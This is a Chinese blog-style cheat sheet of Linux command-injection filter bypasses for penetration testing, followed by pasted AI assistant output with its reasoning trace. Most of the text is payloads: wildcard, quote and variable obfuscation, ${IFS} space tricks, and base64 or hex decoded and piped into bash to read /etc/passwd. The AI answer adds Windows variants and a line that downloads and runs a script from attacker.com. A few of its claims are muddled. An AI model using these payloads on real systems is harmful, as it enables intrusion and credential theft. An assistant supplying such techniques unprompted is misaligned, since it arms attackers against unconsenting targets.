Linux下的命令执行绕过技巧合集(渗透测试专用)

文章介绍了Linux中通配符的使用,如*代表任意数量字符,?代表一个字符,[]用于限定范围。接着讲解了不同类型的连接符,如单引号、双引号、反斜杠和反引号的用法,以及如何利用它们来绕过某些过滤规则。还提到了未初始化的bash变量的利用和字符串切割方法,以及如何在特殊情况下绕过空格过滤,包括使用大花括号、重定向符号、base64编码、进制转换等策略。

一、通配符

  • * 代表『0个到无穷多个』任意字符,包括空字符

  • ? 代表『一定有一个』任意字符

  • [ ] 同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符, 可能是 a, b, c, d 这四个任何一个』

  • [ - ]若有减号在中括号内时,代表『在编码顺序内的所有字符』。例如 [0-9] 代表0到9之间的所有数字,因为数字的语系编码是连续的!

  • [ ^ ] 若中括号内的第一个字符为指数符号 (^) ,那表示『反向选择』,例如 [^abc] 代表 一定有一个字符,只要是非 a, b, c 的其他字符就接受的意思。

  • { } 和[ ]的区别是如果匹配的文件不存在,[ ]会失去模式的功能,变成一个单纯的字符串,而{ }依然可以展开。

利用方法:

  • 举例:/?in/cat /?tc/p?sswd //这个就相当于寻找/bin/cat /etc/passwd

  • /?in/[l][^dnpqrtuvwxyz] -l //这个就相当于/bin/ls -l ;其中[^dnpqrtuvwxyz]意思就是有这么一个字符,但是排除括号里这些。

  • /?in/[l][r-t] -l //这个就相当于/bin/ls -l;其中[r-t]意思是在r-t中进行选择,也就是从r s t 这三个中进行选择。

  • /bi?/ca[s-u] /etc/pass* //这个就相当于/bin/cat /etc/passwd ;其中/etc/pass*中的*代表一个或多个字符,它匹配到的为passwd。

二、连接符

1、单引号

  • 你唯一需要注意的就是闭合,这点很重要,利用这个我们可以绕过一些匹配字符串的WAF规则

  • 例如e'c'ho h'e'l'lo' //其中要注意前后的闭合;

  • 例如 读取/etc/passdw : /'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd

2、双引号

  • 和单引号一样,同样要注意前后的闭合。

  • 例如 /"b"i"n"/"w"h"i"c"h" "n"c //其中要注意前后的闭合;

3、反斜杠

  • 举例:/b\i\n/w\h\i\c\h n\c

4、特殊连接符反引号 ` ` //反引号中间的字符会被当作命令执行

  • 举例:666`whoami`666 666`\whoami`666 //命令执行后的结果在2个666中间

  • `echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令

  • 举例:w`\666`ho`\666`am`\666`i //反引号中的执行完拼接到一起再执行

遇到的情况:

遇到命令执行的漏洞,其中拼接了字符串但是前后加上了"" 双引号,并且过滤器过滤了双引号导致不能够闭合,则可以通过在反引号中添加要执行的命令拼接上,即可以先执行反引号中的内容,在拼接到原来命令种

比如:原命令是/bin/bash -c echo "123 keyword" 其中keyword可控,因为双引号被过滤 我们无法直接通过双引号闭合,所以可以通过反引号绕过:

keyword = `touch /tmp/success`

那么命令就成了:/bin/bash -c echo "123 `touch /tmp/success`"

这样就可以先执行touch /tmp/success,然后再执行echo 123

5、特殊连接符$( ) //$( )里面的字符会被当作命令执行

  • 举例:wh$(666)oa$(777)mi //$( )里面的内容先进行执行,再拼接到一起执行。

三、未初始化的bash变量

1、自定义未初始化的变量合并利用

  • 使用$*和$@,$x(x代表1-9),${x}(x>=10) 没有传参的情况下默认为空值$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。$1-$8同理

  • 在bash环境下允许我们使用未初始化的bash变量,如下:

a=wh
b=oami
$a$b
root   //输出

2、默认下未定义的变量为空值,绕过过滤

  • 举例:$s/bin$s/which$s nc$s //这里的$s默认为空值,所以不会影响输出,实际仍然为/bin/which nc

3、默认变量

  • $PS2代替>

  • $PS4代替+

四、切割字符串

1、利用和Windows基本一致

  • 首先echo ${PATH} //查看我们的PATH路径

  • 判断长度echo ${#PATH} //查看我们PATH的长度

  • 确定要截取的长度echo ${PATH:61:6}

2、综合利用

  • 通过PATH中的字符串进行查找拼接

  • 先通过echo ${PATH}查看PATH的路径信息

  • 如需要查看whoami命令,根据PATH路径查找指定的字符:wh${PATH:6:1}${PATH:8:1}m${PATH:12:1}

五、特殊绕过(绕过空格过滤)

1、利用大花括号 { } 绕过

  • 在linux下我们还可以使用大花括号来绕过空格的限制

  • 举例:ls -alt命令中间的空格:{ls,-alt}

2、重定向符号绕过

  • 我们还可以使用<>来绕过空格。

  • linux中,小于号<表示的是输入重定向,就是把<后面跟的文件取代键盘作为新的输入设备

  • 大于号>输出重定向,比如一条命令,默认是将结果输出到屏幕。

  • 但可以用>来将输出重定向,用后面的文件来取代屏幕,将输出保存进文件里

  • 举例:ls<>alt

  • 举例:cat<>1.txt cat<1.txt

3、Linux中特殊编码base64编码

  • 我们还可以在自己的linux系统中将命令进行base64编码,然后再拿去目标请求中命令执行,使用base64的-d参数解码。

举例:

echo whoami|base64                            //先输出whoami的base64编码

`echo d2hvYW1pCg==|base64 -d`                 //将其base64解码
echo "d2hvYW1pCg==" | base64 -d | bash        //将base64解码后的命令通过管道符传递给bash

4、进制转换

  • 16进制

  • 举例:网站查询cat ./1.txt十六进制为0x636174202e2f312e747874

  • 第一种方式:然后命令为echo "0x636174202e2f312e747874" |xxd -r -p |bash 其中xxd为二进制查看命令,-r为逆向转换。

  • 第二种方式:$(printf "\x63\x61\x74\x20\x2e\x2f\x31\x2e\x74\x78\x74")

  • '\x3b'代替; 十六进制代替

5、%09(需要PHP环境)

  • php环境下web输入%09等效于空格

6、特殊变量${IFS} 或者 $IFS

  • 还有${IFS}是内部字段分隔符的缩写。可以当做空格来使用

  • $IFS在linux下表示分隔符,单纯的cat$IFSxxx,bash解释器会把整个IFSxxx当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名。同理在后面加个$可以起到截断的作用。

  • 举例:cat /etc/passwd中间的空格:cat${IFS}/etc/passwd cat$IFS/etc/passwd

<think>嗯……用户在寻找命令执行漏洞中空格绕过的方法,看来是在网络安全渗透测试领域工作。ta特意强调要参考站内引用,说明需要实战性强的技巧。从引用[2]看,用户已经掌握变量拼接的基础方法,现在需要更系统的空格绕过方案。 回忆漏洞利用原理:命令执行过滤器常把空格当作分隔符拦截。绕过核心思路是找到能替代空格功能的特殊字符或语法结构。比如引用[2]提到的变量延迟展开技巧就很典型——用%符号包裹变量名,这样%var%之间的字符不会触发空格检测。 考虑把方法分层整理:初级方案用常见替代字符,中级用变量拼接,高级用编码混淆。引用里提到的set命令组合属于中级技巧,而wget下载木马则是完全不同的远程加载思路,虽然能绕过长度限制但依赖外网权限,需要单独说明。 注意到用户可能是红队成员,所以除了基础绕过还要补充检测场景判断:比如用<符号代替空格在Windows/Linux都有效,但${IFS}仅限bash环境。最后那个printf配合base64解码的技巧虽然复杂但能绕过多数IDS,值得作为压轴方案。 突然想到引用[1]中反弹shell的场景,这里需要强调空格位置的重要性——在bash -c '命令'结构中,单引号内的空格必须处理。准备推荐用${IFS}替换,因为比起十六进制编码更易读。不过这个细节等用户追问再展开吧…… </think>好的,我们来总结几种常用的命令执行漏洞中绕过空格限制的方法,并结合你提供的参考资料进行说明: **核心思路:** 过滤系统通常会拦截空格字符(` `),因为它用于分隔命令和参数。绕过方法的核心就是用其他能被Shell解析为参数分隔符的字符或技术来替代空格。 ### 常用空格绕过方法 1. **特殊字符替代:** * **`<` 或 `<>` (Linux/Windows):** * 例如: `cat<flag.txt` 或 `type<flag.txt` (Windows)。 * `<` 是输入重定向符,但在这里它成功地分隔了 `cat/type` 和 `flag.txt`。 * **`${IFS}` (Linux):** IFS (Internal Field Separator) 是 Shell 内部用于分隔字段的变量,默认包含空格、制表符(Tab)、换行符。 * 例如: `cat${IFS}flag.txt` `ls${IFS}-la`。 * 非常常用且可靠的方法。 * **`$IFS$` (Linux):** 是 `${IFS}` 的简化形式(在某些上下文有效)。 * 例如: `cat$IFS$flag.txt`。 * **`%09` (Tab URL编码) (常用于Web上下文):** 在HTTP请求中,有时可以直接用 `%09` 代替空格。 * 例如: `curl%09example.com` (实际请求是 `curl example.com`)。 * **`%20` (空格URL编码):** 有时基础过滤只检查字面上的空格字符而不解码,这时可以用 `%20` 绕过。 * 例如: `cat%20flag.txt`。 * **`+` (在某些上下文如`awk`命令中):** * 例如: `awk${IFS}'{print$1}'` 或 `awk{print$1}` (这里 `{print$1}` 中的 `$1` 是 awk 变量,`+` 不作为分隔符)。 2. **变量拼接 (Windows/Linux):** 将命令分解存储在变量中,然后拼接执行,变量名之间自然没有空格(需要用特定符号连接)。 * **Windows (cmd.exe):** * **`%var%` 拼接:** 这是你引用[2]中提到的主要方法[^2]。 ```cmd set a=net set b=user %a%%b% // 执行 net user ``` * **`set` + `call` + `%var%` 组合:** 应对更复杂的情况,如包含特殊字符或需要拼接空格本身(这也是你引用[2]中的方法)[^2]。 ```cmd set a=ser&&set b=ne&&set c=t u && call %b%%c%%a% // 最终执行 net user ``` * **引号干扰:** 在变量值中加入引号有时能绕过空格的检查。 ```cmd set a=w"ho set b=am"i %a%%b% // 执行 whoami (引号被Shell忽略) ``` * **`^` 转义干扰 (Windows):** 插入无意义的转义符 `^`。 ```cmd set a=w^ho set b=am^i %a%%b% // 执行 whoami ``` * **Linux (bash/sh):** * **命令赋值给变量:** ```bash c=cat;f=flag.txt;$c$f // 需要其他分隔符(如${IFS})或技巧让$c和$f分开 ``` * **结合 `${IFS}` 变量:** ```bash c=cat;x=${IFS};f=flag.txt;$c$x$f ``` 3. **大括号 `{cmd,arg}` (Linux bash):** 大括号扩展可以在某些情况下用来连接命令和参数,中间使用逗号分隔,没有空格。 * 例如: `{cat,flag.txt}`。这会被扩展为 `cat flag.txt`。 4. **重定向符 `>` / `<` 替代参数 (Linux/Windows):** * 例如: `echo hello>file.txt` (创建/写入文件) 或 `cat<file.txt` (读取文件)。这里的 `>` 和 `<` 有效地分隔了命令和文件名。 5. **编码/混淆:** 将包含空格的整个命令编码,然后解码执行,避免在原始输入中出现空格。 * **Base64 编码 (Linux):** * 例如:要执行 `cat /etc/passwd`。 * 编码命令: `echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash` * 原始输入: `echo${IFS}'Y2F0IC9ldGMvcGFzc3dk'|base64${IFS}-d|bash` * **十六进制编码 (有时有效):** * 例如:`cat\x20/etc/passwd` (不一定在所有Shell都有效)。 6. **引号包裹整个命令字符串 (常用于 `bash -c` 或类似环境):** 如果执行点是 `bash -c "..."` 之类的,可以将整个命令(包括需要的空格)用引号包裹作为一个字符串参数传入。 * 例如:`bash -c "ls -la /"`。这时 `-c` 后面的参数 `"ls -la /"` 内部空格不属于命令行解析的分隔符,不会被过滤规则捕获(除非过滤规则检查字符串内容)。这种方法本身不“绕过”命令内部的空格检测,但有时能避免空格被入口点过滤。 7. **远程加载 (如你引用[1]所述):** 如果目标服务器能出网,可以避免在目标系统上直接写带空格的命令。 * 例如:`wget http://attacker.com/shell.sh -O /tmp/s.sh && bash /tmp/s.sh` [^1]。这里通过在远程服务器上构造包含空格的复杂命令(如反弹shell),目标机器只需要执行简单的下载和执行命令的脚本文件(其内部命令的空格不会被入口点过滤规则检查)。 **选择哪种方法?** * 首先要判断目标操作系统(Windows/Linux)和使用的Shell(cmd, bash, sh, powershell等)。 * 尝试最简单的方法(`<`, `${IFS}`, `%09/%20`)开始。 * 如果失败,尝试变量拼接(Windows非常常用)。 * 考虑环境限制(是否能出网?是否有写权限?)。 * 编码/混淆通常是最后手段,复杂度较高。 **请注意:** 漏洞利用的具体有效性高度依赖于目标系统的环境(操作系统、Shell解释器、具体的过滤规则实现逻辑等)。在实际测试中,通常需要组合多种技巧并进行尝试。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Thunderclap_

点赞、关注加收藏~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值